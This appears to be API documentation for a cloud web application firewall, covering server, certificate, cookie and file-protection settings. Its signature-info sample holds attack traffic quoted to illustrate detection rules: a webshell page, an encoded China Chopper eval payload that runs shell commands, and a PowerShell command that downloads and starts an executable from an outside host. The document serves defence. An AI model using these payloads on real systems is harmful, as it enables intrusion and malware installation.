server_index	integer Example: server_index={{server_index}} The index of the server.
id	integer Example: id={{id}} The index of the certificate.

Responses

Response samples

200
400

Content type
application/json

{ }

Update Server Lock Status

Update the status of origin server lock.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

object (SingleJsonObject)

Responses

Request samples

Payload

Content type
application/json

{"op": "lock", "server": "3.2.1.1" }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Servers

Get the configuration of servers.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"server_pools": [{"health": {"code": 302, "health_check": true, "interval": 10, "method": "head", "retry": 3, "timeout": 3, "url": "/" }, "lb_algo": "round-robin", "name": "default_pool", "persistence": {"timeout": 300, "type": "source-ip" }, "server_balance": true, "server_list": [{"addr": "1.1.1.1", "backup": false, "enc_level": "high", "health_check_status": "disable", "http2": false, "idx": 1, "locked": false, "port": 443, "ssl": "enable", "status": "enable", "tls_1_1": false, "tls_1_2": true, "tls_1_3": true, "type": "ip", "weight": 1 }, {"addr": "2.2.2.2", "backup": false, "enc_level": "high", "health_check_status": "disable", "http2": false, "idx": 2, "locked": false, "port": 443, "ssl": "enable", "status": "enable", "tls_1_1": false, "tls_1_2": true, "tls_1_3": true, "type": "ip", "weight": 1 } ] } ] } }

Update Servers

Update the configuration of servers.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required

Array of objects (ServerPool)

Responses

Request samples

Payload

Content type
application/json

{"server_pools": [{"health": {"code": 302, "health_check": true, "interval": 10, "method": "head", "timeout": 3, "times": 3, "url": "/" }, "lb_algo": "round-robin", "name": "default_pool", "persistence": {"timeout": 300, "type": "source-ip" }, "server_balance": true, "server_list": [{"addr": "1.1.1.1", "backup": false, "cert_verify": false, "enc_level": "mozilla_modern", "http2": false, "idx": 1, "locked": false, "port": 443, "ssl": true, "status": "enable", "tls_1_1": false, "tls_1_2": true, "tls_1_3": true, "type": "ip", "weight": 1 }, {"addr": "2.2.2.2", "backup": false, "cert_verify": false, "enc_level": "mozilla_modern", "http2": false, "idx": 2, "locked": false, "port": 443, "ssl": true, "status": "enable", "tls_1_1": false, "tls_1_2": true, "tls_1_3": true, "type": "ip", "weight": 1 } ] } ] }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get SNI Certificate Detail

Get the detail information of SNI certificate.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

query Parameters

id	integer Example: id={{id}} The ID of the SNI certificate.

Responses

Response samples

200
400

Content type
application/json

{"result": {"extension": [{"Content": "Digital Signature, Key Encipherment", "Critical": "Yes", "Name": "keyUsage" }, {"Content": "TLS Web Server Authentication, TLS Web Client Authentication", "Critical": "No", "Name": "extendedKeyUsage" }, {"Content": "keyid:28:81:26:05:D1:34:1A:3F:C1:73:0F:BB:93:CF:15:1C:3F:03:BF:7F\n", "Critical": "No", "Name": "authorityKeyIdentifier" }, {"Content": "OCSP - URI:http://ocsp.myssl.com\nCA Issuers - URI:http://ca.myssl.com/myssltestrsa.crt\n", "Critical": "No", "Name": "authorityInfoAccess" }, {"Content": "DNS:home.mytest.com, DNS: office.mytest.com, DNS:test.mytest.com", "Critical": "No", "Name": "subjectAltName" } ], "issuer": "C=CN, O=MySSL, OU=MySSL Test RSA - For test use only, CN=MySSL.com", "serial_number": "69:5d:71:ce:d8:b9:4e:ac:a8:a8:5d:55:e0:60:61:fd", "subject": "C=CN, ST=Beijing, L=Beijing, O=FT, OU=DEV, CN=test.mytest.com", "valid_from": "2020-01-06 10:08:39 UTC", "valid_to": "2021-01-05 10:08:39 UTC", "version": 3 } }

Get SNI Certificate

Get the information of SNI certificates configuration.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

query Parameters

forward	string True: the next page. False: the previous page.
cursor	string To list the items of the first page, leave the cursor value empty. To go forward to next page, get the value of the 'next_cursor' parameter in the result of the current page, then paste it here as the cursor value. To go to the previous page, get the 'prev_cursor' value, then paste it here as the cursor value.
size	integer An integer, the page size. The value shall be 10, 20, 30.

Responses

Response samples

200
400

Content type
application/json

{"hits": [{"expired": "2021-01-05 10:08:39 UTC", "id": 1, "issued_by": "MySSL.com", "issued_to": "test.mytest.com", "san": ["home.mytest.com", "office.mytest.com", "test.mytest.com" ], "status": "Invalid Chain" }, {"expired": "2021-02-21 10:38:08 UTC", "id": 2, "issued_by": "subca1", "issued_to": "www", "san": [ ], "status": "Invalid Chain" }, {"expired": "2021-03-26 10:27:35 UTC", "id": 3, "issued_by": "MySSL.com", "issued_to": "test.fortiweb-cloud-test.com", "san": ["test.fortiweb-cloud-test.com" ], "status": "OK" } ], "next_cursor": "", "prev_cursor": "eyJwb2xpY3lfbmFtZ....IxIn19", "total": 3 }

Update SNI Certificate

Modify SNI certificates configuration.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

action	string Enum: "import" "delete" The type of the update operation
certificate	string The certificate to be imported, required on action 'import'
id	integer The certificate id to be deleted, required on action 'delete'
passwd	string The password of the encrypted private key, optional on action 'import'
private_key	string The private key of the certificate, required on action 'import'

Responses

Request samples

Payload

Content type
application/json

Example
Import SNI certificates

{"action": "import", "certificate": "-----BEGIN CERTIFICATE-----\nMIIETDCCAzSgAw...eCsTo\n-----END CERTIFICATE-----", "private_key": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCA...6I6Bw\n-----END RSA PRIVATE KEY-----" }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Security Rules

This section shows how to configure module security rules.

Get Signature Info

Get the signature information.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

query Parameters

attack_category	string The signature category name such as 'Cross Site Scripting', 'Generic Attacks'.
signature_id	string
sensitivity_level	string
cve_number	string
keywords	string

Responses

Response samples

200
400

Content type
application/json

Example
Success

{"Trojans": [{"desc": "This rule detects if there are specific header names which are used by trojan horses in HTTP headers. \nThis injection can be achieved in HTTP request header names.\n", "id": "070000001", "sample": "GET /rootkit.php HTTP/1.1\r\nHost: yoursite.com\r\nReferer: http://yoursite.com/\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR1.1.4322)\r\nPragma: no-cache\r\nAccept: */*\r\n<#X_File:#> data.txt\r\nConnection: Keep-Alive\r\nCookie:CustomCookie=WebInspect0\r\n\r\n" }, {"desc": "This signature prevents attackers from performing Command injection attacks using commands.\nThis attack can be achieved in HTTP request URL and arguments.", "id": "070000004", "sample": "POST /c99.php?<#act=encoder&d=#>%2Fvar%2Fwww%2F HTTP/1.1\r\nAccept: text/html, application/xhtml+xml, */*\r\nReferer: http://www.mysite.com\r\nAccept-Language: zh-cn\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip, deflate\r\nHost: www.mysite.com\r\nContent-Length: 21\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\nCookie: ASPSESSIONIDSSSRSCQC=NLJDKABDHLCCNEDHAMCCDAAC\r\n\r\nencoder_input=abcdefg" }, {"desc": "This signature prevents attackers from accessing P.A.S Webshell located on the target webserver. This attack can be achieved in HTTP response body.", "id": "070000005", "sample": "HTTP/1.1 200 OK\r\nDate: Sun, 06 Nov 2011 08:20:35 GMT\r\nServer: Apache/2.2.17 (Unix)\r\nContent-Length: 3384\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html\r\n\r\n<html> \r\n\t<head> \r\n\t\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/> \r\n\t\t<title>127.0.0.1</title> \r\n\t\t<script>\r\n\t\t\tfunction ca(v, f_n) { \r\n\t\t\t\tvar cb=document.getElementById(f_n);\r\n\t\t\t\tfor(i=1, n=cb.elements.length; i<n; i++){\r\n\t\t\t\t\tif(cb.elements[i].type=='checkbox') \r\n\t\t\t\t\t\tcb.elements[i].checked=v;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t</script> \r\n\t</head>\r\n\t<body> \r\n\t\t<fieldset class=\"head\">\r\n\t\t\t<table class=\"head\"> \r\n\t\t\t\t<tr><th style=\"width:125px\">Server address :</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t10.200.3.13:8080 on 10.200.3.13 (10.200.3.13:8080, 10.200.3.13) / jlufocus\t\t\t\t\t\t</td>\r\n\t\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Server OS :</th>\r\n\t\t\t\t\t<td>Linux 3.16.0-23-generic #31-Ubuntu SMP Tue Oct 21 17:56:17 UTC 2014 x86_64</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>Server software :</th>\r\n\t\t\t\t\t<td><b>PHP</b>/5.5.12-2ubuntu4.4 <b>Apache</b>/2.4.10 (Ubuntu) <b>cURL</b> <b>MySQL</b>/5.5.40\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th>User info :</th>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\tuid=33(www-data) gid=33(www-data)\t\t\t\t\t</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr><th>Disable functions : </th><td style=\"color:#FF4500\">pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority, </td></tr>\t\t\t</table>\r\n\t\t</fieldset> \r\n\t\t<fieldset class=\"menu\">\r\n\t\t\t<form action=\"\" method=\"post\"> \r\n\t\t\t\t<button type=\"submit\" name=\"fe\">Explorer</button> \r\n\t\t\t\t<button type=\"submit\" name=\"fs\">Searcher</button> \r\n\t\t\t\t<button type=\"submit\" name=\"se\">SQL-client</button> \r\n\t\t\t\t<button type=\"submit\" name=\"nt\">Network Tools</button> \r\n\t\t\t\t \r\n\t\t\t\t\t<button type=\"submit\" name=\"br\">passwd BruteForce</button> \r\n\t\t\t\t \r\n\t\t\t\t<button type=\"submit\" name=\"sc\">CMD</button> \r\n\t\t\t\t<button type=\"submit\" name=\"si\">Server info</button> \r\n\t\t\t</form>\r\n\t\t</fieldset> \r\n\t\t<fieldset class=\"nav\">\r\n\t\t\t<table width=\"100%\">\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th width=\"50px\" align=\"left\">Go to :</th>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t\t</fieldset> \r\n\t\t\t<fieldset class=\"nav\">\r\n\t\t\t\t<form action=\"\" method=\"post\">\r\n\t\t\t\t<input type=\"hidden\" name=\"fe\"/><b>Jump :</b> \r\n\t\t\t\t<button type=\"submit\"name=\"fp\"class=\"sb\"value=\"/\">/</button><button type=\"submit\"name=\"fp\"class=\"sb\"value=\"/var/\">var/</button><button type=\"submit\"name=\"fp\"class=\"sb\"value=\"/var/www/\">www/</button><button type=\"submit\"name=\"fp\"class=\"sb\"value=\"/var/www/html/\">html/</button><button type=\"submit\"name=\"fp\"class=\"sb\"value=\"/var/www/html/c99/\">c99/</button>\t\t\t\t</form>\r\n\t\t\t</fieldset>\r\n\t\t\t\t\t\t\t<fieldset style='font:normal 12px \"Courier New\"'>\r\n\t\t\t\t\t<form action=\"\" method=\"post\" style=\"margin-bottom:5px;\">Exec : \r\n\t\t\t\t\t\t<input type=\"text\" name=\"ex\" value=\"uname -a\" style=\"width:895px;\"/> \r\n\t\t\t\t\t\t<button type=\"submit\" name=\"sc\">></button>\r\n\t\t\t\t\t</form>\r\n\t\t\t\t\t<form action=\"\" method=\"post\" style=\"margin-top:5px\">Eval : \r\n\t\t\t\t\t\t<input type=\"text\" name=\"ev\" value=\"phpinfo();\" style=\"width:895px;\"/> \r\n\t\t\t\t\t\t<button type=\"submit\" name=\"sc\">></button>\r\n\t\t\t\t\t</form>\r\n\t\t\t\t</fieldset>\r\n\t\t\t\t<fieldset class=\"footer\">\r\n\t\t\t\t\t<table width=\"100%\" border=\"0\">\r\n\t\t\t\t\t\t<tr>\r\n\t\t\t\t\t\t\t<#<td>P.A.S. v.3.1.4</td>#>\r\n\t\t\t\t\t\t\t<td align=\"center\">\r\n\t\t\t\t\t\t\t</td>\r\n\t\t\t\t\t\t\t<td align=\"right\">0.000 s.</td>\r\n\t\t\t\t\t\t</tr>\r\n\t\t\t\t\t</table>\r\n\t\t\t\t</fieldset>\r\n\t</body>\r\n</html>" }, {"desc": "This signature prevents attackers from accessing RC-SHELL Webshell located on the target webserver. This attack can be achieved in HTTP response body.", "id": "070000006", "sample": "HTTP/1.1 200 OK\r\nDate: Sun, 06 Nov 2011 08:20:35 GMT\r\nServer: Apache/2.2.17 (Unix)\r\nContent-Length: 343\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html\r\n\r\n<html> \r\n<head>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html\">\r\n<link rel=\"shortcut icon\" href=\"?act=i&img=exe\">\r\n<title>[ RC-SHELL v2.0.2011.1009 - 10.200.3.13 - 10.200.3.13 ]</title>\r\n...\r\n<td class=\"tdfooter\">\r\n<#RC-SHELL v2.0.2011.1009 : PAGE GENERATED IN 0.0121 SECONDS</td>#>\r\n<td align=\"right\" class=\"tdfooter\">\r\n</body>\r\n</html>" }, {"desc": "This signature prevents attackers from accessing b374 Webshell located on the target webserver. This attack can be achieved in HTTP response body.", "id": "070000007", "sample": "HTTP/1.1 200 OK\r\nDate: Sun, 06 Nov 2011 08:20:35 GMT\r\nServer: Apache/2.2.17 (Unix)\r\nContent-Length: 287\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html\r\n\r\n<html> \r\n<head>\r\n<title>b374k 3.2.2</title>\r\n</head>\r\n<body>\r\n<div id='wrapper'>\r\n\t\r\n\t<div id='header'>\r\n\t\t\r\n\t\t<div id='headerNav'>\r\n<span><#<a onclick=\"set_cookie('cwd', '');\" href='/b374k-3.2.2.php'>b374k 3.2.2</a></span>#>\r\n...\r\n</body>\r\n</html>" }, {"desc": "This signature prevents attackers from accessing backdoor in WP Custom Content Type Manager. This attack can be achieved in HTTP request URL.", "id": "070000008", "sample": "GET /<#plugins/custom-content-type-manager/auto-update.php#> HTTP/1.1\r\nHost: yoursite.com\r\nReferer: http://yoursite.com/\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR1.1.4322)\r\nPragma: no-cache\r\nAccept: */*\r\nConnection: Keep-Alive\r\nCookie:CustomCookie=WebInspect0\r\n\r\n" }, {"desc": "This signature prevents attackers from accessing China Chooper Web backdoor. This attack can be achieved in HTTP request argument.", "id": "070000009", "sample": "POST /evil.aspx HTTP/1.1\r\nHost: yoursite.com\r\nConnection: close\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)\r\nAccept: */*\r\nContent-Length: 1108\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nPassword=Response.Write(\"->|\");<#var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String(\"dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D\")),\"unsafe\");}catch(err){Response.Write(\"ERROR:// \"%2Berr.message);}Response.Write(\"|<-\");Response.End();#>&<#z1#>=Y21k&<#z2#>=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D" }, {"desc": "null", "id": "070000010", "sample": "POST /evil.aspx HTTP/1.1\r\nHost: yoursite.com\r\nConnection: close\r\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)\r\nAccept: */*\r\nContent-Length: 1108\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nPassword=Response.Write(\"->|\");<#var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String(\"dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D\")),\"unsafe\");}catch(err){Response.Write(\"ERROR:// \"%2Berr.message);}Response.Write(\"|<-\");Response.End();#>&<#z1#>=Y21k&<#z2#>=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D" }, {"desc": "This signature prevents attackers from scanning MuieBlackCat Bot. This attack can be achieved in HTTP request URL.", "id": "070000011", "sample": "GET /<#muieblackcat#> HTTP/1.1\r\nReferer: http://yoursite.com/\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR1.1.4322)\r\nPragma: no-cache\r\nAccept: */*\r\nHost: yoursite.com\r\nConnection: Keep-Alive\r\nCookie:CustomCookie=WebInspect0\r\n\r\n" }, {"desc": "This signature prevents attackers from scanning w00tw00t Bot. This attack can be achieved in HTTP request URL.", "id": "070000012", "sample": "GET /<#w00tw00t.at.ISC.SANS.DFind#> HTTP/1.1\r\nReferer: http://yoursite.com/\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR1.1.4322)\r\nPragma: no-cache\r\nAccept: */*\r\nHost: yoursite.com\r\nConnection: Keep-Alive\r\nCookie:CustomCookie=WebInspect0\r\n\r\n" }, {"desc": "This signature prevents attackers from scanning muhstik Bot. This attack can be achieved in HTTP request URL.", "id": "070000013", "sample": "GET /<#muhstik.php#> HTTP/1.1\r\nReferer: http://yoursite.com/\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR1.1.4322)\r\nPragma: no-cache\r\nAccept: */*\r\nHost: yoursite.com\r\nConnection: Keep-Alive\r\nCookie:CustomCookie=WebInspect0\r\n\r\n" }, {"desc": "This signature prevents attackers from scanning Miner Bot. This attack can be achieved in HTTP request URL and argument.", "id": "070000014", "sample": "GET /<#public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://a46.bulehero.in/download.exe','C:/7.exe');start%20C:/7.exe #> HTTP/1.1\r\nReferer: http://yoursite.com/\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR1.1.4322)\r\nPragma: no-cache\r\nAccept: */*\r\nHost: yoursite.com\r\nConnection: Keep-Alive\r\nCookie:CustomCookie=WebInspect0\r\n\r\n" }, {"desc": "null", "id": "070000015", "sample": "GET /<#public/hydra.php?xcmd=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://a46.bulehero.in/download.exe','C:/7.exe');start%20C:/7.exe #> HTTP/1.1\r\nReferer: http://yoursite.com/\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR1.1.4322)\r\nPragma: no-cache\r\nAccept: */*\r\nHost: yoursite.com\r\nConnection: Keep-Alive\r\nCookie:CustomCookie=WebInspect0\r\n\r\n" }, {"desc": "This signature prevents attackers from accessing ReDuh/reGeorg tunnel. This attack can be achieved in HTTP request header.", "id": "070000016", "sample": "POST /tunnel.nosocket.php?cmd=read HTTP/1.1\r\n<#X-CMD: READ#>\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR1.1.4322)\r\nPragma: no-cache\r\nAccept: */*\r\nHost: yoursite.com\r\nConnection: Keep-Alive\r\nCookie:CustomCookie=WebInspect0\r\n\r\n" } ] }

Get Anomaly Detection

Get the configuration of anomaly detection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "ip_list": [{"idx": 1, "ip": "181.12.3.1-181.12.3.10" } ], "ip_list_type": "Trust", "status": true }, "template": false } }

Update Anomaly Detection

Update the configuration of anomaly detection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (AnomalyDetection)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "ip_list": [{"idx": 1, "ip": "181.12.3.1-181.12.3.10" } ], "ip_list_type": "Trust", "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get Cookie Security

Get the configuration of cookie security.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "cookie_except_list": [{"idx": 1, "name": "__utma", "wildcard": false }, {"idx": 2, "name": "__utmb", "wildcard": false }, {"idx": 3, "name": "__utmc", "wildcard": false }, {"idx": 4, "name": "__utmz", "wildcard": false }, {"idx": 5, "name": "__utmv", "wildcard": false }, {"idx": 6, "name": "__utmx", "wildcard": false }, {"idx": 7, "name": "__RequestVerificationToken", "wildcard": false }, {"idx": 8, "name": "__RequestVerificationToken_Lw__", "wildcard": false }, {"idx": 9, "name": "CoreID6", "wildcard": false }, {"idx": 10, "name": "BDSVRTM", "wildcard": false }, {"idx": 11, "name": "X-BackEndCookie", "wildcard": false }, {"idx": 12, "name": "X-OWA-CANARY", "wildcard": false }, {"idx": 13, "name": "ASPSESSIONID", "wildcard": false }, {"idx": 14, "name": "PHPSESSID", "wildcard": false }, {"idx": 15, "name": "JSESSIONID", "wildcard": false }, {"idx": 16, "name": "ASP.NET_SessionId", "wildcard": false }, {"idx": 17, "name": "adAuthCookie", "wildcard": false }, {"idx": 18, "name": "unique2u", "wildcard": false } ], "http_only": true, "max_age": 180, "mode": "signed", "replay_protection": true, "samesite": false, "samesite_value": "Lax", "secure_cookie": true, "status": true }, "template": false } }

Update Cookie Security

Update the configuration of cookie security.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Request Body schema: application/json

required	object (CookieSecurity)
template required	boolean Enum: true false Enable to inherit configuration from template

Responses

Request samples

Payload

Content type
application/json

{"configs": {"action": "alert_deny", "cookie_except_list": [{"idx": 1, "name": "__utma", "wildcard": false }, {"idx": 2, "name": "__utmb", "wildcard": false }, {"idx": 3, "name": "__utmc", "wildcard": false }, {"idx": 4, "name": "__utmz", "wildcard": false }, {"idx": 5, "name": "__utmv", "wildcard": false }, {"idx": 6, "name": "__utmx", "wildcard": false }, {"idx": 7, "name": "__RequestVerificationToken", "wildcard": false }, {"idx": 8, "name": "__RequestVerificationToken_Lw__", "wildcard": false }, {"idx": 9, "name": "CoreID6", "wildcard": false }, {"idx": 10, "name": "BDSVRTM", "wildcard": false }, {"idx": 11, "name": "X-BackEndCookie", "wildcard": false }, {"idx": 12, "name": "X-OWA-CANARY", "wildcard": false }, {"idx": 13, "name": "ASPSESSIONID", "wildcard": false }, {"idx": 14, "name": "PHPSESSID", "wildcard": false }, {"idx": 15, "name": "JSESSIONID", "wildcard": false }, {"idx": 16, "name": "ASP.NET_SessionId", "wildcard": false }, {"idx": 17, "name": "adAuthCookie", "wildcard": false }, {"idx": 18, "name": "unique2u", "wildcard": false } ], "http_only": true, "max_age": 180, "mode": "signed", "replay_protection": true, "samesite": false, "samesite_value": "Lax", "secure_cookie": true, "status": true }, "template": false }

Response samples

200
400

Content type
application/json

{"detail": "Module updated" }

Get File Protection

Get the configuration of file protection.

Requires API key secret as Authorization request header. See Request format section for API key secret details.

Authorizations:

ApiRequestAuthorizer

path Parameters

ep_id

required

string

Example: {{ep_id}}

The application ID, it can be obtained from List Applications API.

Responses

Response samples

200
400

Content type
application/json

{"result": {"configs": {"action": "alert_deny", "av_scan": true, "custom_file_types": [{"file_extension": "xyz", "idx": 1, "match_rules": [{"concatenate_type": "AND", "data_type": "string", "data_value": "lwtf_type", "idx": 1, "offset": 0, "offset_from": "beginning", "operation": "search" }, {"concatenate_type": "OR", "data_type": "string", "data_value": "test", "idx": 2, "offset": 0, "offset_from": "end_of_last_match", "operation": "equal" }, {"concatenate_type": "AND", "data_type": "hex_array", "data_value": "1234567890abcdef", "idx": 3, "offset": 0, "offset_from": "beginning", "operation": "search" } ], "name": "custom_type_name" } ], "file_action": "Allow", "file_size": 1024, "file_types": [{"idx": 1, "tid": "00001", "type": "GIF" }, {"idx": 2, "tid": "00059", "type": "XPS" } ], "json_file_support": false, "json_key_field": null, "json_key_for_filename": null, "sandbox": true, "status": true, "trojan": true, "url": "/1" }, "template": false } }

Update File Protection

Update the configuration of file protection.

The table below shows the keys and values of "file-type-id" and "file-type-name".

file-type-id file-type-name
00001 GIF
00002 JPG
00010 BMP
00018 PNG
00019 TIFF/TIF
00023 Windows Metafile Format(.wmf)
00024 Corel Draw Picture
00028 Windows Icon
00030 Microsoft Document Image(.mdi)
00032 Windows Enhanced Metafile(.emf)
00038 Photoshop Image File(.psd)
00050 JPEG-2000 Image File Format(.jp2)
00054 Multipage PCX Bitmap File(.dcx)
00059 XPS
00089 TXT
00060 Word(.docx)
00061 Word Macro-Enabled(.docm)
00062 Word Template(.dotx)
00063 Word Macro-Enabled Template(.dotm)
